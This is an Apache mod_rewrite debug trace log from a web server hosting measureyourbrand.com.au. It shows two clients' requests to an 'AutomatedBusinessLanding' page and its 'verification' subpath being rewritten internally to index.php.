[Mon Nov 10 18:40:22.196759 2025] [rewrite:trace4] [pid 10210:tid 10246] mod_rewrite.c(505): [client 37.114.50.27:53310] 37.114.50.27 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff584187c20/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:22.196789 2025] [rewrite:trace2] [pid 10210:tid 10246] mod_rewrite.c(505): [client 37.114.50.27:53310] 37.114.50.27 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff584187c20/initial] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding/verification' -> 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:22.196801 2025] [rewrite:trace3] [pid 10210:tid 10246] mod_rewrite.c(505): [client 37.114.50.27:53310] 37.114.50.27 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff584187c20/initial] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding/verification -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:22.196814 2025] [rewrite:trace2] [pid 10210:tid 10246] mod_rewrite.c(505): [client 37.114.50.27:53310] 37.114.50.27 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff584187c20/initial] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:22.196825 2025] [rewrite:trace2] [pid 10210:tid 10246] mod_rewrite.c(505): [client 37.114.50.27:53310] 37.114.50.27 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff584187c20/initial] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> /index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:22.196835 2025] [rewrite:trace1] [pid 10210:tid 10246] mod_rewrite.c(505): [client 37.114.50.27:53310] 37.114.50.27 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff584187c20/initial] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding/verification [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:22.196962 2025] [rewrite:trace3] [pid 10210:tid 10246] mod_rewrite.c(505): [client 37.114.50.27:53310] 37.114.50.27 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff584007d80/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:22.196978 2025] [rewrite:trace3] [pid 10210:tid 10246] mod_rewrite.c(505): [client 37.114.50.27:53310] 37.114.50.27 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff584007d80/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:22.196987 2025] [rewrite:trace3] [pid 10210:tid 10246] mod_rewrite.c(505): [client 37.114.50.27:53310] 37.114.50.27 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff584007d80/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:22.197000 2025] [rewrite:trace4] [pid 10210:tid 10246] mod_rewrite.c(505): [client 37.114.50.27:53310] 37.114.50.27 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff584007d80/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='index.php/AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:22.197018 2025] [rewrite:trace3] [pid 10210:tid 10246] mod_rewrite.c(505): [client 37.114.50.27:53310] 37.114.50.27 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff584007d80/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:22.197029 2025] [rewrite:trace3] [pid 10210:tid 10246] mod_rewrite.c(505): [client 37.114.50.27:53310] 37.114.50.27 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff584007d80/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:22.197039 2025] [rewrite:trace3] [pid 10210:tid 10246] mod_rewrite.c(505): [client 37.114.50.27:53310] 37.114.50.27 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff584007d80/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:22.197051 2025] [rewrite:trace4] [pid 10210:tid 10246] mod_rewrite.c(505): [client 37.114.50.27:53310] 37.114.50.27 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff584007d80/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='on' pattern='off' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:22.197061 2025] [rewrite:trace1] [pid 10210:tid 10246] mod_rewrite.c(505): [client 37.114.50.27:53310] 37.114.50.27 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff584007d80/initial/redir#1] [perdir /home/measureyourbrand/public_html/] pass through /home/measureyourbrand/public_html/index.php, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:22.197404 2025] [rewrite:trace3] [pid 10210:tid 10246] mod_rewrite.c(505): [client 37.114.50.27:53310] 37.114.50.27 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff584002970/subreq] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:22.197429 2025] [rewrite:trace3] [pid 10210:tid 10246] mod_rewrite.c(505): [client 37.114.50.27:53310] 37.114.50.27 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff584002970/subreq] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification -> AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:22.197439 2025] [rewrite:trace3] [pid 10210:tid 10246] mod_rewrite.c(505): [client 37.114.50.27:53310] 37.114.50.27 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff584002970/subreq] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:22.197452 2025] [rewrite:trace4] [pid 10210:tid 10246] mod_rewrite.c(505): [client 37.114.50.27:53310] 37.114.50.27 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff584002970/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:22.197470 2025] [rewrite:trace4] [pid 10210:tid 10246] mod_rewrite.c(505): [client 37.114.50.27:53310] 37.114.50.27 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff584002970/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:22.197483 2025] [rewrite:trace4] [pid 10210:tid 10246] mod_rewrite.c(505): [client 37.114.50.27:53310] 37.114.50.27 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff584002970/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:22.197493 2025] [rewrite:trace2] [pid 10210:tid 10246] mod_rewrite.c(505): [client 37.114.50.27:53310] 37.114.50.27 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff584002970/subreq] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding/verification' -> 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:22.197503 2025] [rewrite:trace3] [pid 10210:tid 10246] mod_rewrite.c(505): [client 37.114.50.27:53310] 37.114.50.27 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff584002970/subreq] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding/verification -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:22.197513 2025] [rewrite:trace2] [pid 10210:tid 10246] mod_rewrite.c(505): [client 37.114.50.27:53310] 37.114.50.27 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff584002970/subreq] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:22.197522 2025] [rewrite:trace2] [pid 10210:tid 10246] mod_rewrite.c(505): [client 37.114.50.27:53310] 37.114.50.27 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff584002970/subreq] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> /index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:22.197532 2025] [rewrite:trace1] [pid 10210:tid 10246] mod_rewrite.c(505): [client 37.114.50.27:53310] 37.114.50.27 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff584002970/subreq] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding/verification [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:47.558536 2025] [rewrite:trace3] [pid 10300:tid 10309] mod_rewrite.c(505): [client 192.42.116.194:52615] 192.42.116.194 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff57404a190/initial] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:47.558595 2025] [rewrite:trace3] [pid 10300:tid 10309] mod_rewrite.c(505): [client 192.42.116.194:52615] 192.42.116.194 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff57404a190/initial] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:47.558613 2025] [rewrite:trace4] [pid 10300:tid 10309] mod_rewrite.c(505): [client 192.42.116.194:52615] 192.42.116.194 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff57404a190/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:47.558646 2025] [rewrite:trace4] [pid 10300:tid 10309] mod_rewrite.c(505): [client 192.42.116.194:52615] 192.42.116.194 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff57404a190/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:47.558661 2025] [rewrite:trace4] [pid 10300:tid 10309] mod_rewrite.c(505): [client 192.42.116.194:52615] 192.42.116.194 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff57404a190/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:47.558671 2025] [rewrite:trace2] [pid 10300:tid 10309] mod_rewrite.c(505): [client 192.42.116.194:52615] 192.42.116.194 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff57404a190/initial] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding' -> 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:47.558682 2025] [rewrite:trace3] [pid 10300:tid 10309] mod_rewrite.c(505): [client 192.42.116.194:52615] 192.42.116.194 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff57404a190/initial] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:47.558695 2025] [rewrite:trace2] [pid 10300:tid 10309] mod_rewrite.c(505): [client 192.42.116.194:52615] 192.42.116.194 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff57404a190/initial] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:47.558707 2025] [rewrite:trace2] [pid 10300:tid 10309] mod_rewrite.c(505): [client 192.42.116.194:52615] 192.42.116.194 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff57404a190/initial] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> /index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:47.558717 2025] [rewrite:trace1] [pid 10300:tid 10309] mod_rewrite.c(505): [client 192.42.116.194:52615] 192.42.116.194 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff57404a190/initial] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:47.558818 2025] [rewrite:trace3] [pid 10300:tid 10309] mod_rewrite.c(505): [client 192.42.116.194:52615] 192.42.116.194 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff5240b41d0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:47.558834 2025] [rewrite:trace3] [pid 10300:tid 10309] mod_rewrite.c(505): [client 192.42.116.194:52615] 192.42.116.194 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff5240b41d0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:47.558849 2025] [rewrite:trace3] [pid 10300:tid 10309] mod_rewrite.c(505): [client 192.42.116.194:52615] 192.42.116.194 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff5240b41d0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:47.558862 2025] [rewrite:trace4] [pid 10300:tid 10309] mod_rewrite.c(505): [client 192.42.116.194:52615] 192.42.116.194 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff5240b41d0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='index.php/AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:47.558873 2025] [rewrite:trace3] [pid 10300:tid 10309] mod_rewrite.c(505): [client 192.42.116.194:52615] 192.42.116.194 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff5240b41d0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:47.558883 2025] [rewrite:trace3] [pid 10300:tid 10309] mod_rewrite.c(505): [client 192.42.116.194:52615] 192.42.116.194 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff5240b41d0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:47.558893 2025] [rewrite:trace3] [pid 10300:tid 10309] mod_rewrite.c(505): [client 192.42.116.194:52615] 192.42.116.194 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff5240b41d0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:47.558906 2025] [rewrite:trace4] [pid 10300:tid 10309] mod_rewrite.c(505): [client 192.42.116.194:52615] 192.42.116.194 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff5240b41d0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='on' pattern='off' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:47.558916 2025] [rewrite:trace1] [pid 10300:tid 10309] mod_rewrite.c(505): [client 192.42.116.194:52615] 192.42.116.194 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff5240b41d0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] pass through /home/measureyourbrand/public_html/index.php, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:47.559100 2025] [rewrite:trace3] [pid 10300:tid 10309] mod_rewrite.c(505): [client 192.42.116.194:52615] 192.42.116.194 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff524112b70/subreq] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:47.559120 2025] [rewrite:trace3] [pid 10300:tid 10309] mod_rewrite.c(505): [client 192.42.116.194:52615] 192.42.116.194 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff524112b70/subreq] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:47.559133 2025] [rewrite:trace4] [pid 10300:tid 10309] mod_rewrite.c(505): [client 192.42.116.194:52615] 192.42.116.194 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff524112b70/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:47.559153 2025] [rewrite:trace4] [pid 10300:tid 10309] mod_rewrite.c(505): [client 192.42.116.194:52615] 192.42.116.194 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff524112b70/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:47.559166 2025] [rewrite:trace4] [pid 10300:tid 10309] mod_rewrite.c(505): [client 192.42.116.194:52615] 192.42.116.194 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff524112b70/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:47.559176 2025] [rewrite:trace2] [pid 10300:tid 10309] mod_rewrite.c(505): [client 192.42.116.194:52615] 192.42.116.194 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff524112b70/subreq] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding' -> 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:47.559185 2025] [rewrite:trace3] [pid 10300:tid 10309] mod_rewrite.c(505): [client 192.42.116.194:52615] 192.42.116.194 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff524112b70/subreq] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:47.559195 2025] [rewrite:trace2] [pid 10300:tid 10309] mod_rewrite.c(505): [client 192.42.116.194:52615] 192.42.116.194 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff524112b70/subreq] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:47.559205 2025] [rewrite:trace2] [pid 10300:tid 10309] mod_rewrite.c(505): [client 192.42.116.194:52615] 192.42.116.194 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff524112b70/subreq] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> /index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:47.559215 2025] [rewrite:trace1] [pid 10300:tid 10309] mod_rewrite.c(505): [client 192.42.116.194:52615] 192.42.116.194 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff524112b70/subreq] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:49.487241 2025] [rewrite:trace3] [pid 10209:tid 10223] mod_rewrite.c(505): [client 192.42.116.194:57205] 192.42.116.194 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff570015990/initial] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:49.487304 2025] [rewrite:trace3] [pid 10209:tid 10223] mod_rewrite.c(505): [client 192.42.116.194:57205] 192.42.116.194 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff570015990/initial] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification -> AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:49.487353 2025] [rewrite:trace3] [pid 10209:tid 10223] mod_rewrite.c(505): [client 192.42.116.194:57205] 192.42.116.194 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff570015990/initial] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:49.487381 2025] [rewrite:trace4] [pid 10209:tid 10223] mod_rewrite.c(505): [client 192.42.116.194:57205] 192.42.116.194 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff570015990/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:49.487400 2025] [rewrite:trace4] [pid 10209:tid 10223] mod_rewrite.c(505): [client 192.42.116.194:57205] 192.42.116.194 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff570015990/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:49.487413 2025] [rewrite:trace4] [pid 10209:tid 10223] mod_rewrite.c(505): [client 192.42.116.194:57205] 192.42.116.194 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff570015990/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:49.487423 2025] [rewrite:trace2] [pid 10209:tid 10223] mod_rewrite.c(505): [client 192.42.116.194:57205] 192.42.116.194 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff570015990/initial] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding/verification' -> 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:49.487434 2025] [rewrite:trace3] [pid 10209:tid 10223] mod_rewrite.c(505): [client 192.42.116.194:57205] 192.42.116.194 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff570015990/initial] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding/verification -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:49.487446 2025] [rewrite:trace2] [pid 10209:tid 10223] mod_rewrite.c(505): [client 192.42.116.194:57205] 192.42.116.194 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff570015990/initial] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:49.487456 2025] [rewrite:trace2] [pid 10209:tid 10223] mod_rewrite.c(505): [client 192.42.116.194:57205] 192.42.116.194 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff570015990/initial] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> /index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:49.487467 2025] [rewrite:trace1] [pid 10209:tid 10223] mod_rewrite.c(505): [client 192.42.116.194:57205] 192.42.116.194 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff570015990/initial] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding/verification [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:49.487578 2025] [rewrite:trace3] [pid 10209:tid 10223] mod_rewrite.c(505): [client 192.42.116.194:57205] 192.42.116.194 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff5700112b0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
